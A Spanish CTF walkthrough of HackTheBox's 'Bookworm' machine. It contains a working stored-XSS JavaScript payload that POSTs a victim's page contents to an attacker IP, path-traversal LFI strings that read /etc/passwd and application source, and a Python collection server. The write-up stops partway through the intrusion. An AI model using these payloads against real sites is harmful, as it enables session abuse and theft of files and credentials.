Bookworm es una máquina de dificultad insana en la plataforma de HTB. Para acceder deberemos realizar un XSS a un archivo JS que previamente hemos subido a la web, mediante ese script podremos realizar un LFI para obtener las credenciales de un archivo. Para convertirnos en root abusaremos de que está el Google Chrome en modo debug para leer la flag.

Reconocimiento

Escaneo de puertos

Iniciamos la máquina realizando un escaneo para descubrir los puertos abiertos.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.215 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org )
Scanning 10.10.11.215 [65535 ports]
Discovered open port 80/tcp on 10.10.11.215
Discovered open port 22/tcp on 10.10.11.215
Nmap scan report for 10.10.11.215
Host is up, received user-set (0.048s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.97 seconds
           Raw packets sent: 66650 (2.933MB) | Rcvd: 65535 (2.621MB)

El escaneo nos reporta 2 puertos abiertos: 22 (SSH) y el 80 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea, haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Mediante diversos parámetros descubrimos los servicios y versiones existentes.

❯ nmap -p22,80 -sCV 10.129.90.230 -oN targeted
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 10.129.90.230
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://bookworm.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds

Añadimos el dominio bookworm.htb al /etc/hosts.

Visitamos la web principal y vemos que se trata de una página para comprar libros.

HTB

Nos registramos en la web e iniciamos sesión.

Una vez hecho esto nos permite comprar libros. Algo que llama la atención es que podemos ver que hay bots que añaden libros a la cesta.

HTB

De hecho, si miramos el código fuente en la ruta /shop, podemos ver que tienen asociados unos ID.

<div class="col-3">
        <h3>Recent Updates</h3>
        <hr>

        <div class="row mb-2">
            <!-- 1544 -->
            <div class="col-3"><img class="img-fluid" src="/static/img/uploads/1"/></div>
            <div class="col-9"><strong>Joe Bubbler</strong> just added <a href="/shop/7">Ye Book of Copperheads</a> to their basket!<p class="mb-0 text-muted">19 seconds ago</p></div>

        </div>

        <div class="row mb-2">
            <!-- 1543 -->
            <div class="col-3"><img class="img-fluid" src="/static/img/uploads/1"/></div>
            <div class="col-9"><strong>Joe Bubbler</strong> just added <a href="/shop/6">The Pirate Woman</a> to their basket!<p class="mb-0 text-muted">53 seconds ago</p></div>

        </div>

        <div class="row mb-2">
            <!-- 1542 -->
            <div class="col-3"><img class="img-fluid" src="/static/img/uploads/1"/></div>
            <div class="col-9"><strong>Joe Bubbler</strong> just added <a href="/shop/9">Origin of the &#39;Reorganized&#39; Church and the Question of Succession</a> to their basket!<p class="mb-0 text-muted">1 minute ago</p></div>

        </div>

    </div>

Cuando hemos añadido un libro en la cesta podemos poner una nota, lo que podemos probar es realizar un XSS.

HTB

Y como podemos comprobar nos llega la petición a nuestra web, pero de momento no es relevante, ya que la petición es desde nuestra misma IP.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.X.X - - "GET /? HTTP/1.1" 200 -

Miramos el ID cuando algún bot haya añadido un libro a la cesta.

<div class="row mb-2">
            <!-- 467 -->
            <div class="col-3"><img class="img-fluid" src="/static/img/uploads/3"/></div>
            <div class="col-9"><strong>Jakub Particles</strong> just added <a href="/shop/4">The Jewel of Seven Stars</a> to their basket!<p class="mb-0 text-muted">just now</p></div>

</div>

Iniciamos Burpsuite para interceptar la petición, cambiando el ID de la ruta al 467 en este caso.

HTB

Y una vez realizados los cambios del ID y tramitada nos llegará la petición a nuestro servidor web.

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.15.21 - - "GET /? HTTP/1.1" 200 -
10.10.11.215 - - "GET /? HTTP/1.1" 200 -

En nuestro perfil podemos subir una imagen. Si indagamos un poco descubriremos que en el único campo que le importa es el Content-Type: image/png y no tiene ningún filtro en el contenido de la misma, así que lo podemos probar es una petición para comprobar que esto realmente funciona.

Como leemos en este mensaje anteriormente se podían descargar directamente dándonos a entender que los PDF están disponibles en alguna ruta.

HTB

Mediante este script en JS podremos obtener las rutas de los archivos PDF de los libros y enviarnos dichas rutas a nuestro servidor

function get_orders(html_page){
  // Create a new DOMParser instance
  const parser = new DOMParser();
  // HTML string to be parsed
  const htmlString = html_page;
  // Parse the HTML string
  const doc = parser.parseFromString(htmlString, 'text/html');
  // Find all the anchor tags within the table body
  const orderLinks = doc.querySelectorAll('tbody a');
  // Extract the URLs and store them in an array
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));

  return orderUrls;
}

function getDownloadURL(html) {
  // Create a temporary container element to parse the HTML
  const container = document.createElement('div');
  container.innerHTML = html;

  // Use querySelector to select the download link element
  const downloadLink = container.querySelector('a[href^="/download"]');

  // Extract the download URL
  const downloadURL = downloadLink ? downloadLink.href : null;

  return downloadURL;
}

function fetch_url_to_attacker(url){
  var attacker = "http://10.10.X.X:8000/?url=" + encodeURIComponent(url);

  fetch(url).then(
    async response=>{
      fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
    }
  );
}

function get_pdf(url){
  fetch(url).then(
    async response=>{
        fetch_url_to_attacker(getDownloadURL(await response.text()));
    })
}

fetch("http://10.10.X.X:8000/?trying")
fetch("http://bookworm.htb/profile").then(
  async response=>{
    for (const path of get_orders(await response.text())){
      fetch_url_to_attacker("http://bookworm.htb" + path);
      get_pdf("http://bookworm.htb" + path);
    }
  }
)

Copiamos el código y en el campo filename añadimos %00.

HTB

Una vez guardada la imagen de nuestro perfil, podremos descubrir la ruta de su contenido, que si todo está bien debería ser el JS. Realizamos el XSS apuntando hacia la ruta de nuestra imagen de perfil y deberemos realizar los pasos anteriores (Coger el ID de un bot y tramitar el XSS mediante el mismo).

HTB

Si todo ha salido correctamente obtenemos las rutas de los PDF:

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F810 HTTP/1.1" 501 -
10.129.89.162 - -  code 501, message Unsupported method ('POST')      
10.129.89.162 - -  "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F1 HTTP/1.1" 501 -
10.129.89.162 - -  code 501, message Unsupported method ('POST')      
10.129.89.162 - -  "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F2 HTTP/1.1" 501 -
10.129.89.162 - -  code 501, message Unsupported method ('POST')      
10.129.89.162 - -  "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F3 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F1%3FbookIds%3D1 HTTP/1.1" 501 -
10.129.89.162 - -  code 501, message Unsupported method ('POST')      
10.129.89.162 - -  code 501, message Unsupported method ('POST')      
10.129.89.162 - -  "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F3%3FbookIds%3D4 HTTP/1.1" 501 -
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D2 HTTP/1.1" 501 - 
10.129.89.162 - - code 501, message Unsupported method ('POST')      
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F810 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F1%3FbookIds%3D1 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F1 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D2 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F3 HTTP/1.1" 501 -
10.129.89.162 - - "GET /?trying HTTP/1.1" 200 -              
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=null HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F2 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - -"POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F3%3FbookIds%3D4 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F810 HTTP/1.1" 501 -                                                                     
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F3%3FbookIds%3D4 HTTP/1.1" 501 -                                                      
10.129.89.162 - - code 501, message Unsupported method ('POST')
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F1%3FbookIds%3D1 HTTP/1.1" 501 -                                                      
10.129.89.162 - - code 501, message Unsupported method ('POST')                                                                                           
10.129.89.162 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D2 HTTP/1.1" 501 -
10.129.89.162 - - code 501, message Unsupported method ('POST')                                                                                           
10.129.89.162 - -  "POST /?url=null HTTP/1.1" 501 -             
10.129.89.162 - -  code 501, message Unsupported method ('POST')                                                                                          
10.129.89.162 - - "POST /?url=null HTTP/1.1" 501 -             
10.129.89.162 - - "GET /?trying HTTP/1.1" 200 - 

Intrusión

Podemos probar a realizar un LFI concatenado del XSS anterior, modificamos el archivo anterior y añadimos la query de los PDF para que apunte a un archivo que nosotros queramos obtener, como por ejemplo el /etc/passwd.

function get_orders(html_page){
  // Create a new DOMParser instance
  const parser = new DOMParser();
  // HTML string to be parsed
  const htmlString = html_page;
  // Parse the HTML string
  const doc = parser.parseFromString(htmlString, 'text/html');
  // Find all the anchor tags within the table body
  const orderLinks = doc.querySelectorAll('tbody a');
  // Extract the URLs and store them in an array
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));

  return orderUrls;
}

function getDownloadURL(html) {
  // Create a temporary container element to parse the HTML
  const container = document.createElement('div');
  container.innerHTML = html;

  // Use querySelector to select the download link element
  const downloadLink = container.querySelector('a[href^="/download"]');

  // Extract the download URL
  // const downloadURL = downloadLink ? downloadLink.href : null;
  const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../../../etc/passwd" : null;

  return downloadURL;
}

function fetch_url_to_attacker(url){
  var attacker = "http://10.10.X.X/?url=" + encodeURIComponent(url);

  fetch(url).then(
    async response=>{
      fetch(attacker, {method:'POST', body: await response.arrayBuffer()})
    }
  );
}

function get_pdf(url){
  fetch(url).then(
    async response=>{
        fetch_url_to_attacker(getDownloadURL(await response.text()));
    })
}

fetch("http://10.10.X.X/?trying")
fetch("http://bookworm.htb/profile").then(
  async response=>{
    for (const path of get_orders(await response.text())){
      fetch_url_to_attacker("http://bookworm.htb" + path);
      get_pdf("http://bookworm.htb" + path);
    }
  }
)

Para poder obtener el contenido del archivo passwd deberemos crear un script en Python para poder almacenar el contenido de las peticiones POST.

import requests
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import random

class RequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])

        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)

        filename = 'temp' + str(random.randint(0, 9999))
        with open(filename, 'wb') as f:
            f.write(post_data)
        print("Non-ASCII characters detected!! Content written to ./{} file instead.".format(filename))

        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(b'POST request received')

    def do_GET(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if 'url' in query_params:
            print(query_params['url'][0])

        SimpleHTTPRequestHandler.do_GET(self)

def run_server():
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, RequestHandler)
    print('Server running on http://localhost:8000')

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        httpd.server_close()
        print('Server stopped')

def fetch_url_to_server(url):
    response = requests.get(url)
    post_data = response.content

    server_url = "http://localhost:8000/?url=" + url
    requests.post(server_url, data=post_data)

if __name__ == '__main__':
    run_server()

Realizamos los pasos anteriormente realizados (Subir el JS a la imagen del perfil, obtener ID de bot, realizar XSS, interceptar con Burpsuite, modificar ID y enviar).

Una vez realizados todos esos pasos deberíamos obtener esto.

❯ python3 server.py
Server running on http://localhost:8000
10.129.88.166 - - [31/May/2023 16:38:51] "GET /?trying HTTP/1.1" 200 -
http://bookworm.htb/order/16
Non-ASCII characters detected!! Content written to ./temp6073 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F16 HTTP/1.1" 200 -
http://bookworm.htb/order/17
Non-ASCII characters detected!! Content written to ./temp1485 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F17 HTTP/1.1" 200 -
http://bookworm.htb/order/18
Non-ASCII characters detected!! Content written to ./temp1266 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F18 HTTP/1.1" 200 -
http://bookworm.htb/order/790
Non-ASCII characters detected!! Content written to ./temp9041 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F790 HTTP/1.1" 200 -
http://bookworm.htb/order/792
Non-ASCII characters detected!! Content written to ./temp1490 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F792 HTTP/1.1" 200 -
http://bookworm.htb/download/16?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp4952 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F16%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/download/17?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp3944 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F17%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
http://bookworm.htb/download/18?bookIds=.&bookIds=../../../../../../../../etc/passwd
Non-ASCII characters detected!! Content written to ./temp9988 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F18%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 200 -
null
Non-ASCII characters detected!! Content written to ./temp1638 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=null HTTP/1.1" 200 -
null
Non-ASCII characters detected!! Content written to ./temp1970 file instead.
10.129.88.166 - - [31/May/2023 16:38:51] "POST /?url=null HTTP/1.1" 200 -

Si comprobamos el tipo de archivo que son, 3 de ellos son ZIP.

temp1266: HTML document, Unicode text, UTF-8 text
temp1485: HTML document, Unicode text, UTF-8 text
temp1490: HTML document, Unicode text, UTF-8 text
temp1638: HTML document, Unicode text, UTF-8 text
temp1970: HTML document, Unicode text, UTF-8 text
temp3944: Zip archive data, at least v1.0 to extract, compression method=store
temp4952: Zip archive data, at least v1.0 to extract, compression method=store
temp6073: HTML document, Unicode text, UTF-8 text
temp9041: HTML document, Unicode text, UTF-8 text
temp9988: Zip archive data, at least v1.0 to extract, compression method=store

Les cambiamos el nombre y les añadimos el .zip.

❯ mv temp3944 zip1.zip
❯ mv temp4952 zip2.zip
❯ mv temp9988 zip3.zip

Los descomprimimos los archivos renombrando el contenido de dicho ZIP.

❯ unzip zip1.zip
Archive:  zip1.zip
   creating: Unknown.pdf/
replace Unknown.pdf? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: passwd 
  inflating: passwd                 
replace zip2.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: passwd2
 extracting: passwd2                
replace zip3.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: r 
new name: passwd3
 extracting: passwd3

Leemos el archivo passwd de la máquina con éxito.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
frank:x:1001:1001:,,,:/home/frank:/bin/bash
neil:x:1002:1002:,,,:/home/neil:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false

Una vez comprobado el LFI podremos listar procesos activos en la máquina, así que añadiremos lo siguiente al archivo y volveremos a realizar todos los procesos.

".&bookIds=../../../../../../../../proc/self/cmdline"

Obtenemos las peticiones por parte de la máquina.

❯ python3 server.py                                                                                                                                                                     
Server running on http://localhost:8000                                                                                                                                                 
10.10.11.215 - - "GET /?trying HTTP/1.1" 200 - http://bookworm.htb/order/1
Non-ASCII characters detected!! Content written to ./temp4372 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F1 HTTP/1.1" 200 - http://bookworm.htb/order/2
Non-ASCII characters detected!! Content written to ./temp5990 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F2 HTTP/1.1" 200 - http://bookworm.htb/order/3
Non-ASCII characters detected!! Content written to ./temp9119 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F3 HTTP/1.1" 200 - http://bookworm.htb/order/819
Non-ASCII characters detected!! Content written to ./temp1998 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F819 HTTP/1.1" 200 - http://bookworm.htb/order/1
Non-ASCII characters detected!! Content written to ./temp1934 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F1 HTTP/1.1" 200 -

10.10.11.215 - - "GET /?trying HTTP/1.1" 200 - http://bookworm.htb/download/1?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp5785 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F1%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HT
TP/1.1" 200 - http://bookworm.htb/order/3
Non-ASCII characters detected!! Content written to ./temp137 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F3 HTTP/1.1" 200 - http://bookworm.htb/order/2
Non-ASCII characters detected!! Content written to ./temp8179 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F2 HTTP/1.1" 200 -
http://bookworm.htb/order/819                                                               
Non-ASCII characters detected!! Content written to ./temp2754 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F819 HTTP/1.1" 200 - null
Non-ASCII characters detected!! Content written to ./temp3023 file instead.

10.10.11.215 - -  "POST /?url=null HTTP/1.1" 200 - http://bookworm.htb/download/3?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp9576 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F3%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HT
TP/1.1" 200 -                                                                               
http://bookworm.htb/download/2?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp4736 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HT
TP/1.1" 200 -

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 -
http://bookworm.htb/download/1?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp6905 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F1%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 -
http://bookworm.htb/download/3?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp5975 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F3%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 -
http://bookworm.htb/download/2?bookIds=.&bookIds=../../../../../../../../proc/self/cmdline
Non-ASCII characters detected!! Content written to ./temp5433 file instead.

10.10.11.215 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F2%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcmdline HTTP/1.1" 200 - null
Non-ASCII characters detected!! Content written to ./temp3126 file instead.
10.10.11.215 - - [31/May/2023 17:49:04] "POST /?url=null HTTP/1.1" 200 -

Comprobamos que ficheros son ZIP y realizamos todo el proceso para descomprimirlos.

❯ file temp*
temp137:  HTML document, Unicode text, UTF-8 text
temp1934: HTML document, Unicode text, UTF-8 text
temp1998: HTML document, Unicode text, UTF-8 text
temp2754: HTML document, Unicode text, UTF-8 text
temp3023: HTML document, Unicode text, UTF-8 text
temp3126: HTML document, Unicode text, UTF-8 text
temp4372: HTML document, Unicode text, UTF-8 text
temp4736: Zip archive data, at least v1.0 to extract, compression method=store
temp5433: Zip archive data, at least v1.0 to extract, compression method=store
temp5785: Zip archive data, at least v1.0 to extract, compression method=store
temp5975: Zip archive data, at least v1.0 to extract, compression method=store
temp5990: HTML document, Unicode text, UTF-8 text
temp6905: Zip archive data, at least v1.0 to extract, compression method=store
temp8179: HTML document, Unicode text, UTF-8 text
temp9119: HTML document, Unicode text, UTF-8 text
temp9576: Zip archive data, at least v1.0 to extract, compression method=store

Mediante hexedit puedo leer que hay un proceso que involucra un index.js, así que intentaremos obtener dicho archivo.

/usr/bin/node index.js

Modificamos el archivo de JS para poder realizar el LFI.

".&bookIds=../../../../../../../../proc/self/cwd/index.js"

Obtenemos las peticiones después de realizar todos los procesos.

❯ python3 server.py                                                                         
Server running on http://localhost:8000

10.129.88.166 - - "GET /?trying HTTP/1.1" 200 - http://bookworm.htb/order/4
Non-ASCII characters detected!! Content written to ./temp1543 file instead.

10.129.88.166 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F4 HTTP/1.1" 200 - http://bookworm.htb/order/5
Non-ASCII characters detected!! Content written to ./temp2132 file instead.

10.129.88.166 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F5 HTTP/1.1" 200 - http://bookworm.htb/order/6
Non-ASCII characters detected!! Content written to ./temp6072 file instead.

10.129.88.166 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Forder%2F6 HTTP/1.1" 200 - http://bookworm.htb/download/4?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp465 file instead.

10.129.88.166 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F4%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 - http://bookworm.htb/download/6?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp6952 file instead.

10.129.88.166 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F6%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 - http://bookworm.htb/download/5?bookIds=.&bookIds=../../../../../../../../proc/self/cwd/index.js
Non-ASCII characters detected!! Content written to ./temp3035 file instead.

10.129.88.166 - - "POST /?url=http%3A%2F%2Fbookworm.htb%2Fdownload%2F5%3FbookIds%3D.%26bookIds%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fcwd%2Findex.js HTTP/1.1" 200 -

Este es el contenido del archivo index.js. Algo interesante es que apunta a un archivo que se llama database, así que realizamos otra vez el LFI.

const express = require("express");
const nunjucks = require("nunjucks");
const path = require("path");
const session = require("cookie-session");
const fileUpload = require("express-fileupload");
const archiver = require("archiver");
const fs = require("fs");
const { flash } = require("express-flash-message");
const { sequelize, User, Book, BasketEntry, Order, OrderLine } = require("./database");
const { hashPassword, verifyPassword } = require("./utils");
const { QueryTypes } = require("sequelize");
const { randomBytes } = require("node:crypto");
const timeAgo = require("timeago.js");

const app = express();
const port = 3000;

const env = nunjucks.configure("templates", {
  autoescape: true,
  express: app,
});

env.addFilter("timeago", (val) => {
  return timeAgo.format(new Date(val), "en_US");
});

[...]

Editamos el archivo y añadimos lo siguiente.

".&bookIds=../../../../../../../../proc/self/cwd/database.js"

Obtenemos la petición del archivo databases.js.

❯ python3 server.py                                                                         
